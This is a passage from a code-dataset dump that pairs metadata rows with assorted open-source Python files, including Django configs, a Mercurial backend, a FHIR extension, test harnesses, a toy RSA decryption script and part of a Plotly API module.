| 17.7 | 29 | 0.813559 | 29 | 177 | 4.517241 | 0.758621 | 0.122137 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046053 | 0.141243 | 177 | 9 | 30 | 19.666667 | 0.815789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5df3f6e18cc937f038ef7335b9e3cf66a21a11de | 505 | py | Python | django_rest_passwordreset/urls.py | Ponchia/django-rest-passwordreset | f9cf630fe7d5cb735ce4bff937fc5591378b13a5 | [
"BSD-3-Clause"
] | 1 | 2021-01-30T16:20:41.000Z | 2021-01-30T16:20:41.000Z | virtual/lib/python3.8/site-packages/django_rest_passwordreset/urls.py | AokoMercyline/E-commerce | 833ad9fd5777e35146dfccf809e78e3c94d997a8 | [
"MIT"
] | 1 | 2021-07-10T10:35:51.000Z | 2021-07-10T10:35:51.000Z | virtual/lib/python3.8/site-packages/django_rest_passwordreset/urls.py | AokoMercyline/E-commerce | 833ad9fd5777e35146dfccf809e78e3c94d997a8 | [
"MIT"
] | 1 | 2020-12-28T15:25:07.000Z | 2020-12-28T15:25:07.000Z | """ URL Configuration for core auth
"""
from django.conf.urls import url, include
from django_rest_passwordreset.views import reset_password_request_token, reset_password_confirm, reset_password_validate_token
app_name = 'password_reset'
urlpatterns = [
url(r'^validate_token/', reset_password_validate_token, name="reset-password-validate"),
url(r'^confirm/', reset_password_confirm, name="reset-password-confirm"),
url(r'^', reset_password_request_token, name="reset-password-request"),
]
| 38.846154 | 127 | 0.788119 | 66 | 505 | 5.712121 | 0.363636 | 0.310345 | 0.159151 | 0.132626 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09505 | 505 | 12 | 128 | 42.083333 | 0.824945 | 0.061386 | 0 | 0 | 0 | 0 | 0.229614 | 0.143777 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.625 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
5df4c80f9d8990c4fa4296c45ca41df2e87f3892 | 3,329 | py | Python | rcsfield/backends/hg.py | ShuffleBox/django-rcsfield | dd8b5b22635bcdae9825e00b65887bb51171e76f | [
"BSD-3-Clause"
] | null | null | null | rcsfield/backends/hg.py | ShuffleBox/django-rcsfield | dd8b5b22635bcdae9825e00b65887bb51171e76f | [
"BSD-3-Clause"
] | null | null | null | rcsfield/backends/hg.py | ShuffleBox/django-rcsfield | dd8b5b22635bcdae9825e00b65887bb51171e76f | [
"BSD-3-Clause"
] | null | null | null | """
Mercurial backend for django-rcsfield.
"""
import os, codecs
from django.conf import settings
from mercurial import hg, ui, commands, localrepo, error
from rcsfield.backends.base import BaseBackend
class MercurialBackend(BaseBackend):
"""
Rcsfield backend which uses mercurial to versionize content.
"""
def __init__(self, location):
self.location = os.path.normpath(location)
self.hg_ui = ui.ui(interactive=False)
def initial(self, prefix):
"""
Set up the hg repo at ``self.location``, which usually
is set in ``settings.HG_REPO_PATH``.
"""
if not os.path.exists(self.location):
os.makedirs(self.location)
u = self.hg_ui
try:
repo = hg.repository(u, self.location, create=1)
except error.RepoError:
repo = hg.repository(u, self.location)
except Exception, e:
raise
def fetch(self, key, rev):
"""
fetch revision ``rev`` of entity identified by ``key``.
FIXME: error handling?
"""
u = self.hg_ui
repo = hg.repository(u, self.location)
try:
fctx = repo[rev][key]
except (error.RepoError, error.LookupError, IndexError):
fctx = repo.filectx(key, fileid=rev)
try:
return fctx.data()
except (error.LookupError, IndexError):
return ''
def commit(self, key, data):
"""
commit changed ``data`` to the entity identified by ``key``.
"""
try:
fobj = open(os.path.join(self.location, key), 'w')
except IOError:
#parent directory seems to be missing
os.makedirs(os.path.dirname(os.path.join(self.location, key)))
return self.commit(key, data)
fobj.write(data)
fobj.close()
u = self.hg_ui
repo = hg.repository(u, self.location)
try:
commands.add(u, repo, os.path.join(self.location, key))
except:
raise
commands.commit(u, repo, message='auto commit from django')
def get_revisions(self, key):
"""
returns a list with all revisions at which ``key`` was changed.
Revision Numbers are integers starting at 0.
Every ``key`` has its own revision numbers, other backends have
global unique revision numbers.
"""
u = self.hg_ui
repo = hg.repository(u, self.location)
f = repo.file(key)
return list(f)[:-1]
def move(self, key_from, key_to):
"""
Moves an entity from ``key_from`` to ``key_to`` while keeping
the history. This is useful to migrate a repository after the
``rcskey_format`` of a field was changed.
TODO: move from mecurial.commands to internal api.#
"""
u = self.hg_ui
repo = hg.repository(u, self.location)
absp = lambda p: os.path.join(self.location, p)
try:
commands.rename(u, repo, absp(key_from), absp(key_to))
commands.commit(u, repo, message="Moved %s to %s" % (key_from, key_to))
return True
except:
return False
rcs = MercurialBackend(settings.HG_REPO_PATH)
| 27.512397 | 83 | 0.56924 | 403 | 3,329 | 4.64268 | 0.349876 | 0.096205 | 0.025655 | 0.054516 | 0.195083 | 0.155532 | 0.084447 | 0.084447 | 0.084447 | 0.084447 | 0 | 0.001332 | 0.323521 | 3,329 | 120 | 84 | 27.741667 | 0.829485 | 0.010814 | 0 | 0.333333 | 0 | 0 | 0.016422 | 0 | 0 | 0 | 0 | 0.016667 | 0 | 0 | null | null | 0 | 0.066667 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b908c730a30226128183f97f0e36c859f43fb9eb | 867 | py | Python | devicetags/models.py | phillipthelen/Lagerregal | 0b621b152d72985591490bfb1c734e2873fef2b8 | [
"BSD-3-Clause"
] | null | null | null | devicetags/models.py | phillipthelen/Lagerregal | 0b621b152d72985591490bfb1c734e2873fef2b8 | [
"BSD-3-Clause"
] | null | null | null | devicetags/models.py | phillipthelen/Lagerregal | 0b621b152d72985591490bfb1c734e2873fef2b8 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import unicode_literals
from django.db import models
from django.utils.translation import ugettext_lazy as _
from django.core.urlresolvers import reverse
import six
from devices.models import Device
# Create your models here.
@six.python_2_unicode_compatible
class Devicetag(models.Model):
name = models.CharField(max_length=200, unique=True)
devices = models.ManyToManyField(Device, related_name="tags")
def __str__(self):
return self.name
class Meta:
verbose_name = _('Devicetag')
verbose_name_plural = _('Devicegtag')
permissions = (
("read_devicetag", _("Can read Devicetag")),
)
def get_absolute_url(self):
return reverse('devicetag-edit', kwargs={'pk': self.pk})
def get_edit_url(self):
return reverse('devicetag-edit', kwargs={'pk': self.pk})
| 26.272727 | 65 | 0.697809 | 106 | 867 | 5.45283 | 0.518868 | 0.051903 | 0.044983 | 0.069204 | 0.16263 | 0.16263 | 0.16263 | 0.16263 | 0.16263 | 0.16263 | 0 | 0.005764 | 0.199539 | 867 | 32 | 66 | 27.09375 | 0.827089 | 0.027682 | 0 | 0.090909 | 0 | 0 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0.272727 | 0.136364 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
f8d8e71a598161e9dda857c1dbbe86f94679cd7d | 1,399 | py | Python | src/saas/bkuser_shell/account/views.py | trueware/bk-user | 8c633e0a3821beb839ed120c4514c5733e675862 | [
"MIT"
] | null | null | null | src/saas/bkuser_shell/account/views.py | trueware/bk-user | 8c633e0a3821beb839ed120c4514c5733e675862 | [
"MIT"
] | null | null | null | src/saas/bkuser_shell/account/views.py | trueware/bk-user | 8c633e0a3821beb839ed120c4514c5733e675862 | [
"MIT"
] | 1 | 2021-12-31T06:48:41.000Z | 2021-12-31T06:48:41.000Z | # -*- coding: utf-8 -*-
"""
TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License.
You may obtain a copy of the License at http://opensource.org/licenses/MIT
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.
"""
from bkuser_shell.common.error_codes import error_codes
from bkuser_shell.common.viewset import BkUserApiViewSet
from django.template.exceptions import TemplateDoesNotExist
from django.template.loader import get_template
from django.template.response import TemplateResponse
from bkuser_global.drf_crown import inject_serializer
class LoginPageViewSet(BkUserApiViewSet):
permission_classes: list = []
@inject_serializer(tags=["account"])
def login_success(self, request):
try:
return TemplateResponse(request=request, template=get_template("login_success.html"))
except TemplateDoesNotExist:
raise error_codes.CANNOT_FIND_TEMPLATE
| 46.633333 | 115 | 0.789135 | 189 | 1,399 | 5.756614 | 0.650794 | 0.055147 | 0.049632 | 0.029412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009228 | 0.147963 | 1,399 | 29 | 116 | 48.241379 | 0.903523 | 0.501072 | 0 | 0 | 0 | 0 | 0.036232 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.428571 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
f8e05d9662734bccd176d95a0121d119141e12e9 | 320 | py | Python | html/semantics/scripting-1/the-script-element/resources/cross-origin.py | ziransun/wpt | ab8f451eb39eb198584d547f5d965ef54df2a86a | [
"BSD-3-Clause"
] | 8 | 2019-04-09T21:13:05.000Z | 2021-11-23T17:25:18.000Z | html/semantics/scripting-1/the-script-element/resources/cross-origin.py | ziransun/wpt | ab8f451eb39eb198584d547f5d965ef54df2a86a | [
"BSD-3-Clause"
] | 14 | 2019-03-18T20:11:48.000Z | 2019-04-23T22:41:46.000Z | html/semantics/scripting-1/the-script-element/resources/cross-origin.py | ziransun/wpt | ab8f451eb39eb198584d547f5d965ef54df2a86a | [
"BSD-3-Clause"
] | 11 | 2019-04-12T01:20:16.000Z | 2021-11-23T17:25:02.000Z | def main(request, response):
headers = [("Content-Type", "text/javascript")]
milk = request.cookies.first("milk", None)
if milk is None:
return headers, "var included = false;"
elif milk.value == "yes":
return headers, "var included = true;"
return headers, "var included = false;"
| 29.090909 | 51 | 0.621875 | 38 | 320 | 5.236842 | 0.605263 | 0.19598 | 0.241206 | 0.361809 | 0.291457 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.234375 | 320 | 10 | 52 | 32 | 0.812245 | 0 | 0 | 0.25 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f8e1013a41226d40150dcf2bba0510cfc4e1f1c2 | 900 | py | Python | spark_auto_mapper_fhir/extensions/us_core/ethnicity.py | imranq2/SparkAutoMapper.FHIR | dd23b218fb0097d1edc2f3e688e8d6d4d7278bd2 | [
"Apache-2.0"
] | 1 | 2020-10-31T23:25:07.000Z | 2020-10-31T23:25:07.000Z | spark_auto_mapper_fhir/extensions/us_core/ethnicity.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | spark_auto_mapper_fhir/extensions/us_core/ethnicity.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | from typing import Optional
from spark_auto_mapper_fhir.classproperty import genericclassproperty
from spark_auto_mapper_fhir.extensions.extension_base import ExtensionBase
from spark_auto_mapper_fhir.extensions.us_core.ethnicity_item import EthnicityItem
from spark_auto_mapper_fhir.fhir_types.list import FhirList
from spark_auto_mapper_fhir.fhir_types.uri import FhirUri
class Ethnicity(ExtensionBase):
# noinspection PyPep8Naming
def __init__(
self,
url: Optional[FhirUri] = None,
extension: Optional[FhirList[EthnicityItem]] = None,
) -> None:
"""
Extension type in FHIR
"""
super().__init__(url=url or Ethnicity.codeset, extension=extension)
# noinspection PyMethodParameters
@genericclassproperty
def codeset(cls) -> FhirUri:
return "http://hl7.org/fhir/us/core/StructureDefinition/us-core-ethnicity"
| 34.615385 | 82 | 0.753333 | 103 | 900 | 6.31068 | 0.427184 | 0.069231 | 0.1 | 0.146154 | 0.235385 | 0.2 | 0.098462 | 0 | 0 | 0 | 0 | 0.002685 | 0.172222 | 900 | 25 | 83 | 36 | 0.869799 | 0.09 | 0 | 0 | 0 | 0 | 0.081864 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.375 | 0.0625 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
f8ef2bdbf8d08fb94b2c418842315e13b268a8f6 | 106 | py | Python | amazon/__init__.py | gutfeeling/python-amazon-paapi | 268adf80520d8b6e6bce08ed6d2b33754abb07e5 | [
"MIT"
] | null | null | null | amazon/__init__.py | gutfeeling/python-amazon-paapi | 268adf80520d8b6e6bce08ed6d2b33754abb07e5 | [
"MIT"
] | null | null | null | amazon/__init__.py | gutfeeling/python-amazon-paapi | 268adf80520d8b6e6bce08ed6d2b33754abb07e5 | [
"MIT"
] | null | null | null | """Amazon Product Advertising API wrapper for Python"""
__version__ = '3.2.0'
__author__ = 'Sergio Abad'
| 21.2 | 55 | 0.726415 | 14 | 106 | 4.928571 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032967 | 0.141509 | 106 | 4 | 56 | 26.5 | 0.725275 | 0.462264 | 0 | 0 | 0 | 0 | 0.313725 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d1688a98775830b70cf922b5b1284d9265e52d3 | 1,908 | py | Python | pyogp/lib/base/tests/mockup_net.py | grobertson/PyOGP.lib.Base | 5056cbc57e8adbae931495bd5c743a4590d39a5a | [
"Apache-2.0"
] | null | null | null | pyogp/lib/base/tests/mockup_net.py | grobertson/PyOGP.lib.Base | 5056cbc57e8adbae931495bd5c743a4590d39a5a | [
"Apache-2.0"
] | null | null | null | pyogp/lib/base/tests/mockup_net.py | grobertson/PyOGP.lib.Base | 5056cbc57e8adbae931495bd5c743a4590d39a5a | [
"Apache-2.0"
] | null | null | null |
"""
Contributors can be viewed at:
http://svn.secondlife.com/svn/linden/projects/2008/pyogp/lib/base/trunk/CONTRIBUTORS.txt
$LicenseInfo:firstyear=2008&license=apachev2$
Copyright 2009, Linden Research, Inc.
Licensed under the Apache License, Version 2.0.
You may obtain a copy of the License at:
http://www.apache.org/licenses/LICENSE-2.0
or in
http://svn.secondlife.com/svn/linden/projects/2008/pyogp/lib/base/LICENSE.txt
$/LicenseInfo$
"""
import socket
import random
from pyogp.lib.base.message.circuit import Host
class MockupUDPServer(object):
def __init__(self):
self.rec_buffer = ''
self.ip = 'MockupUDPServer'
self.port = 80
def receive_message(self, client, receive_buffer):
#print 'SERVER receive'
self.rec_buffer = receive_buffer
def send_message(self, client, send_message):
#print 'SERVER send'
client.rec = send_message
client.sender = Host((self, self.port))
#returns true if packet was sent successfully
class MockupUDPClient(object):
def __init__(self):
self.rec = ''
self.sender = None
self.socket = None
def get_sender(self):
return self.sender
def set_response(self, response):
self.rec[self.socket] = response
def send_packet(self, send_buffer, host):
#host is a mockup server
#print 'CLIENT send'
host.ip.receive_message(self, send_buffer)
return True
def receive_packet(self):
#print 'CLIENT receive'
data = self.rec
self.rec = ''
if len(data) > 0:
return data, len(data)
return '', 0
def start_udp_connection(self):
""" Starts a udp connection, returning socket and port. """
self.socket = random.randint(0,80)
return self.socket
| 25.44 | 90 | 0.628931 | 238 | 1,908 | 4.936975 | 0.382353 | 0.035745 | 0.030638 | 0.034043 | 0.131064 | 0.131064 | 0.090213 | 0.090213 | 0.090213 | 0.090213 | 0 | 0.020129 | 0.270964 | 1,908 | 74 | 91 | 25.783784 | 0.824587 | 0.341195 | 0 | 0.117647 | 0 | 0 | 0.012931 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.264706 | false | 0 | 0.088235 | 0.029412 | 0.558824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5d1c07dc656091e54f02d6a430470d61c79dd5b6 | 1,704 | py | Python | src/niveristand/clientapi/_error.py | arnoldcsorvasi/niveristand-python | 39e5593e10bb372c801d6fa521e8fc166dab8cfe | [
"MIT"
] | 6 | 2018-07-04T10:59:43.000Z | 2022-03-24T13:34:33.000Z | src/niveristand/clientapi/_error.py | arnoldcsorvasi/niveristand-python | 39e5593e10bb372c801d6fa521e8fc166dab8cfe | [
"MIT"
] | 14 | 2018-11-05T20:05:33.000Z | 2022-03-10T12:54:58.000Z | src/niveristand/clientapi/_error.py | arnoldcsorvasi/niveristand-python | 39e5593e10bb372c801d6fa521e8fc166dab8cfe | [
"MIT"
] | 15 | 2018-07-04T07:58:49.000Z | 2022-02-22T16:35:26.000Z | from niveristand import _errormessages, errors
from niveristand.clientapi._dotnetclasswrapperbase import _DotNetClassWrapperBase
from NationalInstruments.VeriStand import Error as ErrorDotNet # noqa: I100 We need these C# imports to be out of order
class _Error(_DotNetClassWrapperBase):
"""
Represents NI VeriStand error information, including an integer error code and a string error message.
Args:
dot_net_instance (NationalInstruments.VeriStand.Error): the C# instance to wrap around.
"""
def __init__(self, dot_net_instance):
if isinstance(dot_net_instance, ErrorDotNet):
super(_Error, self).__init__(dot_net_instance)
else:
raise errors.VeristandError(
_errormessages.unexpected_dot_net_data_type % "NationalInstruments.VeriStand.Error")
@property
def error_code(self):
"""
Gets the VeriStand specific ErrorCode.
Returns:
(int): the VeriStand specific error code
"""
return self.dot_net_instance.ErrorCode
@property
def is_error(self):
"""
Gets a Boolean value indicating whether the Error object contains an error state.
Returns:
(bool): True if the Error contains an error state.
"""
return self.dot_net_instance.IsError
@property
def resolved_error_message(self):
"""
Gets the resolved error message.
The resolved error message provides error information for non-LabVIEW applications.
Returns:
(str): The resolved error message for the current Error.
"""
return self.dot_net_instance.ResolvedErrorMessage
| 29.894737 | 120 | 0.679577 | 188 | 1,704 | 5.962766 | 0.43617 | 0.042819 | 0.087422 | 0.064228 | 0.064228 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002375 | 0.258803 | 1,704 | 56 | 121 | 30.428571 | 0.885194 | 0.403169 | 0 | 0.157895 | 0 | 0 | 0.040603 | 0.040603 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0 | 0.157895 | 0 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5d2f6871786452073cf2d0af1d85fbbaad581d58 | 421 | py | Python | RSA/rsa.py | Devyadav1994/PyHack | a6b666d8ce0663df9c2ed8479988ba682e1f0a0f | [
"MIT"
] | 1 | 2021-10-03T15:50:26.000Z | 2021-10-03T15:50:26.000Z | RSA/rsa.py | Devyadav1994/PyHack | a6b666d8ce0663df9c2ed8479988ba682e1f0a0f | [
"MIT"
] | 8 | 2021-09-30T18:30:38.000Z | 2021-10-03T15:33:40.000Z | RSA/rsa.py | Devyadav1994/PyHack | a6b666d8ce0663df9c2ed8479988ba682e1f0a0f | [
"MIT"
] | 5 | 2021-09-30T20:00:45.000Z | 2021-10-30T17:54:39.000Z | from Crypto.Util.number import inverse
import binascii
e = 1
c = 9327565722767258308650643213344542404592011161659991421
n = 245841236512478852752909734912575581815967630033049838269083
# From factordb
p = 416064700201658306196320137931
q = 590872612825179551336102196593
phi = (p-1) * (q-1)
d = inverse(e,phi)
m = pow(c,d,n)
hex_str = hex(m)[2:] # Removing '0x'
print(binascii.unhexlify(hex_str)) | 22.157895 | 65 | 0.752969 | 46 | 421 | 6.847826 | 0.630435 | 0.038095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.505618 | 0.154394 | 421 | 19 | 66 | 22.157895 | 0.379213 | 0.064133 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d32e56101acdc1bab0ba623819eb6acc22c2892 | 2,195 | py | Python | pluto/finance/commission/schema.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | pluto/finance/commission/schema.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | pluto/finance/commission/schema.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | import sqlalchemy as sa
metadata = sa.MetaData()
commission_metas = sa.Table(
'commission_metas',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False),
sa.Column(
'model',
sa.String,
nullable=False
),
sa.Column(
'exchange',
sa.String,
nullable=False
),
sa.Column(
'country_code',
sa.String,
nullable=False
),
sa.Column(
'asset_type',
sa.String,
nullable=False)
)
_parameter_tables = {
'per_share':sa.Table(
'per_share',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False
),
sa.Column(
'cost_per_share',
sa.Float,
nullable=False
),
sa.Column(
'min_trade_cost',
sa.Float,
nullable=False
)),
'per_dollar':sa.Table(
'per_dollar',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False
),
sa.Column(
'cost_per_dollar',
sa.Float,
nullable=False
)
),
'per_contract': sa.Table(
'per_contract',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False
),
sa.Column(
'cost',
sa.Float,
nullable=False
),
sa.Column(
'exchange_fee',
sa.Float,
nullable=False
)),
'per_trade': sa.Table(
'per_trade',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False
),
sa.Column(
'cost',
sa.Float,
nullable=False
)
),
'per_future_trade': sa.Table(
'per_future_trade',
metadata,
sa.Column(
'broker',
sa.String,
nullable=False),
sa.Column(
'cost',
sa.Float,
nullable=False
)
)
}
def get_parameter_table(model_type):
return _parameter_tables[model_type] | 19.254386 | 40 | 0.445558 | 192 | 2,195 | 4.932292 | 0.177083 | 0.143611 | 0.174234 | 0.243928 | 0.651531 | 0.586061 | 0.424498 | 0.424498 | 0.424498 | 0.424498 | 0 | 0 | 0.446014 | 2,195 | 114 | 40 | 19.254386 | 0.778783 | 0 | 0 | 0.709091 | 0 | 0 | 0.121129 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009091 | false | 0 | 0.009091 | 0.009091 | 0.027273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d3e1129dfe04417e554eac838628f15e397f4c4 | 1,895 | py | Python | Testy/FunctionAdd/__init__.py | jakubkuba97/TestGPWPlus | dd61255e04f75d1e6e326aeae61397260459340c | [
"MIT"
] | 1 | 2019-06-26T16:04:27.000Z | 2019-06-26T16:04:27.000Z | Testy/FunctionAdd/__init__.py | jakubkuba97/TestGPWPlus | dd61255e04f75d1e6e326aeae61397260459340c | [
"MIT"
] | null | null | null | Testy/FunctionAdd/__init__.py | jakubkuba97/TestGPWPlus | dd61255e04f75d1e6e326aeae61397260459340c | [
"MIT"
] | null | null | null | from subprocess import Popen
from threading import Thread
class AddSiteFunctionTestCase(Thread):
def __init__(self, process: Popen):
Thread.__init__(self)
self.daemon = True
self.the_data = "/add"
self.the_data_bytes = b"/add"
self.process = process
self.this_log = ""
self.finished = False
def run(self) -> None:
self.process.stdin.write(self.the_data_bytes + b'\n')
self.process.stdin.flush()
self.this_log = "\t" + self.the_data + "\n"
output = str(self.process.stdout.readline(), errors='ignore')
self.this_log += output
if ">>> \r\n" in output:
output = str(self.process.stdout.readline(), errors='ignore')
self.this_log += output
if " aby wrocic" in output:
for i in range(2):
self.this_log += str(self.process.stdout.readline(), errors='ignore')
self.finished = True
class WriteCorrectSiteTestCase(Thread):
def __init__(self, process: Popen):
Thread.__init__(self)
self.daemon = True
import sys
sys.path.append('../')
import FunctionGlobal
function_global = FunctionGlobal
self.the_data = function_global.Constants().correct_site_1
self.the_data_bytes = self.the_data.encode('utf-8')
self.process = process
self.this_log = ""
self.finished = False
def run(self) -> None:
self.process.stdin.write(self.the_data_bytes + b' \n')
self.process.stdin.flush()
self.this_log = "\t" + self.the_data + "\n"
output = str(self.process.stdout.readline(), errors='ignore')
self.this_log += output
if "Wczytywanie!" in output:
for i in range(3):
self.this_log += str(self.process.stdout.readline(), errors='ignore')
self.finished = True
| 35.092593 | 85 | 0.6 | 231 | 1,895 | 4.74026 | 0.264069 | 0.130594 | 0.090411 | 0.091324 | 0.717808 | 0.702283 | 0.66758 | 0.66758 | 0.66758 | 0.66758 | 0 | 0.002911 | 0.274934 | 1,895 | 53 | 86 | 35.754717 | 0.794032 | 0 | 0 | 0.638298 | 0 | 0 | 0.047493 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.085106 | false | 0 | 0.085106 | 0 | 0.212766 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d55e9bc0623ab7599acf5ad3ff120dc788d6a3f | 594 | py | Python | packages/python/chart-studio/chart_studio/api/v2/dash_apps.py | sgn/plotly.py | 587075c9f5a57a3dd60b03b2d47d925fbbb9b9b6 | [
"MIT"
] | 11,750 | 2015-10-12T07:03:39.000Z | 2022-03-31T20:43:15.000Z | packages/python/chart-studio/chart_studio/api/v2/dash_apps.py | sgn/plotly.py | 587075c9f5a57a3dd60b03b2d47d925fbbb9b9b6 | [
"MIT"
] | 2,951 | 2015-10-12T00:41:25.000Z | 2022-03-31T22:19:26.000Z | packages/python/chart-studio/chart_studio/api/v2/dash_apps.py | sgn/plotly.py | 587075c9f5a57a3dd60b03b2d47d925fbbb9b9b6 | [
"MIT"
] | 2,623 | 2015-10-15T14:40:27.000Z | 2022-03-28T16:05:50.000Z | """
Beta interface to Plotly's /v2/dash-apps endpoints.
"""
from __future__ import absolute_import
from chart_studio.api.v2.utils import build_url, request
RESOURCE = "dash-apps"
def create(body):
"""Create a dash app item."""
url = build_url(RESOURCE)
return request("post", url, json=body)
def retrieve(fid):
"""Retrieve a dash app from Plotly."""
url = build_url(RESOURCE, id=fid)
return request("get", url)
def update(fid, content):
"""Completely update the writable."""
